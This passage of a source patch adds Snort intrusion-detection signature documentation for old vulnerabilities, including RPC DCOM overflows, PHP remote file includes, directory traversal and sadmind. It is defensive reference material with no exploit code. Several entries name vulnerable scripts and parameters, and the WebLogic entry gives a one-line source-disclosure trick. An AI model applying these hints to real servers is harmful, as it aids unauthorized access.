+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using SimpleBoard SBP
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3172.txt
+++ snort-2.8.5.2/doc/signatures/3172.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3172
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/857.txt
+++ snort-2.8.5.2/doc/signatures/857.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+857
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1092.txt
+++ snort-2.8.5.2/doc/signatures/1092.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1092
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2255.txt
+++ snort-2.8.5.2/doc/signatures/2255.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+2255
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability associated with the Remote Procedure Call (RPC) sadmind.
+
+--
+Impact:
+Remote root access.  This attack may permit execution of arbitrary commands with the privileges of root.
+
+--
+Detailed Information:
+The sadmind RPC service is used by Solaris Solstice AdminSuite 
+applications to perform remote distributed system administration tasks 
+such as adding new users.  
+
+This event indicates that an RPC query for the sadmind service has been
+made with the credentials of the root user supplied.
+
+This may permit execution of arbitrary commands with the privileges of root.
+
+--
+Affected Systems:
+All systems using sadmind
+
+--
+Attack Scenarios:
+Exploit code can be used to attack a vulnerable sadmind to obtain root access to the remote host.
+
+--
+Ease of Attack:
+Simple.  Exploit scripts are freely available. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/574.txt
+++ snort-2.8.5.2/doc/signatures/574.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+574
+
+--
+Summary:
+This event is generated when a request is made to Network File System (NFS) to list all exported file systems and which clients are permitted to mount each file system. 
+
+--
+Impact:
+Information disclosure.  This can allow an attacker to discover exported NFS file systems and client mount permissions.
+
+--
+Detailed Information:
+The mountd Remote Procedure Call (RPC) implements the NFS mount protocol.  When an NFS client requests a mount of an NFS file system, mountd examines the list of exported file systems.  If the NFS client is permitted access to the requested file system, mountd returns a file handle for the requested directory.  An attacker or legitimate NFS client may request a list of exported file systems and client mount permissions.
+
+--
+Affected Systems:
+All systems running NFS.
+
+--
+Attack Scenarios:
+An attacker may attempt to list the exported NFS file systems as a precursor to mounting them to read or change a specific file. 
+
+--
+Ease of Attack:
+Simple.   
+
+--
+False Positives:
+If a legitimate remote user is allowed to list exported NFS file systems, this rule may trigger.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+http://www.whitehats.com/info/IDS26
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000354.txt
+++ snort-2.8.5.2/doc/signatures/100000354.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000354
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpBB-Amod" application running on a webserver. Access to the file "lang_activity.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "lang_activity.php" script used by the "phpBB-Amod" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpBB-Amod
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2417.txt
+++ snort-2.8.5.2/doc/signatures/2417.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 
+2417
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic 
+is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp 
+server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of
+spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or 
+it could be an attempt to compromise the FTP server by overflowing a 
+buffer in the FTP daemon or service.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party 
+using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain 
+access to a host, then upload a Trojan Horse program to gain control of 
+that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected 
+network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2329.txt
+++ snort-2.8.5.2/doc/signatures/2329.txt
@@ -0,0 +1,78 @@
+Rule:
+
+--
+Sid:
+2329
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Windows Data Access Components.
+
+--
+Impact:
+Serious. Execution of arbitrary code is possible. Denial of Service
+(DoS)
+
+--
+Detailed Information:
+It may be possible for an attacker to send a specially crafted response
+to a client broadcast query searching for an SQL server. This response
+could take advantage of a buffer overrun condition in an MDAC component
+which may result in the attacker being presented with the opportunity to 
+execute code of their choosing with the privileges of the user running
+the service on the client system.
+
+A DoS condition may also manifest in MDAC version 2.8.
+
+MDAC is included by default on many Microsoft Windows systems. Client
+workstations may make regular broadcast announcements in an attempt to
+find SQL servers.
+
+--
+Affected Systems:
+	Microsoft Data Access Components 2.5
+	Microsoft Data Access Components 2.6
+	Microsoft Data Access Components 2.7
+	Microsoft Data Access Components 2.8
+
+--
+Attack Scenarios:
+The attacker may spoof the response from an SQL server to exploit the
+vulnerability.
+
+--
+Ease of Attack:
+Moderate..
+
+--
+False Positives:
+Since this rule cannot be constrained using ports and the connection
+state for MSDAC is not tracked, false positive events may occur under
+normal circumstances. The $SQL_SERVERS variable in snort.conf should be
+configured correctly to eliminate this behavior.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches and service packs.
+
+Disallow access to database servers from sources external to the
+protected network.
+
+Disallow access to database servers from untrusted hosts.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/702.txt
+++ snort-2.8.5.2/doc/signatures/702.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+702
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/110-2.txt
+++ snort-2.8.5.2/doc/signatures/110-2.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+110-2
+
+--
+Summary:
+This event is generated when the pre-processor spp_unidecode detects
+network traffic that may constitute an attack. Specifically a directory
+traversal was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the spp_unidecode pre-processor detects
+network traffic that may consititute an attack.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3256.txt
+++ snort-2.8.5.2/doc/signatures/3256.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3256
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2947.txt
+++ snort-2.8.5.2/doc/signatures/2947.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2947
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000349.txt
+++ snort-2.8.5.2/doc/signatures/100000349.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000349
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Ezupload Pro" application running on a webserver. Access to the file "initialize.php" using a remote file being passed as the "path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "path" parameter in the "initialize.php" script used by the "Ezupload Pro" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ezupload Pro
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000372.txt
+++ snort-2.8.5.2/doc/signatures/100000372.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000372
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "phpNuke" application running on a webserver. Access to the file "admin_styles.php" using a remote file being passed as the "phpbb_root_path" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "phpbb_root_path" parameter in the "admin_styles.php" script used by the "phpNuke" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using phpNuke
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1476.txt
+++ snort-2.8.5.2/doc/signatures/1476.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1476
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3119.txt
+++ snort-2.8.5.2/doc/signatures/3119.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3119
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1051.txt
+++ snort-2.8.5.2/doc/signatures/1051.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1051
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3261.txt
+++ snort-2.8.5.2/doc/signatures/3261.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3261
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2238.txt
+++ snort-2.8.5.2/doc/signatures/2238.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2238
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known vulnerability in BEA Systems WebLogic Enterprise.
+
+--
+Impact:
+Information disclosure.
+
+--
+Detailed Information:
+Some versions of BEA Systems WebLogic Enterprise allow an attacker to 
+view the aplication source code of documents in the web root of the 
+server.
+
+--
+Affected Systems:
+	BEA Systems WebLogic Enterprise 5.1, 5.1.x
+
+--
+Attack Scenarios:
+An attacker can view the source code and use that information to further
+exploit the server.
+
+The attacker merely needs to prepend an HTTP request with 
+"/ConsoleHelp/" to view the source of any file.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/1518
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1501.txt
+++ snort-2.8.5.2/doc/signatures/1501.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1501
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2015.txt
+++ snort-2.8.5.2/doc/signatures/2015.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+2015
+
+--
+Summary:
+Remote Procedure Call (RPC) is a facility that enables a machine to 
+request a service from another remote machine. This is done without the 
+need for detailed network information. Some versions of RPC have a 
+vulnerability that allows an a remote host to register (and un-register)
+applications from a spoofed source.
+
+--
+Impact:
+Possible denial of service (DoS) against the target host. Potential 
+remote root compromise of the target system.
+
+--
+Detailed Information:
+Certain versions of rpcbind portmapper contain a flaw that could allow 
+an attacker capable of spoofing UDP packets to set and unset calls to 
+arbitrary RPC programs.
+
+A denial of service could be instigated against the target machine that 
+could render network file system services and other such network 
+available services unavailable to network users.
+
